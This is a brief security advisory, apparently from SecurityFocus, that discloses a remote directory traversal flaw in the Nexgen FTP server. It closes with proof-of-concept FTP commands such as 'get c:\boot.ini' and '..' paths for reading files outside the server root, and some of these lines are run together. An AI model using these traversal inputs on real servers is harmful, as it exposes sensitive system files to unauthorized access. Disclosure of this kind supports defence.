source: http://www.securityfocus.com/bid/9970/info

It has been reported that the Nexgen FTP server is prone to a remote directory traversal vulnerability. This issue is due to a failure of the application to properly sanitize file request strings from authenticated users.

Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information that may be used to launch further attacks against a vulnerable system.

ls c:\*.*
ls ..
ls \..ls /../
dir c:dir \..\*.*
get c:\"Exist File" [ c:\boot.ini ]
get \..\"Exist File"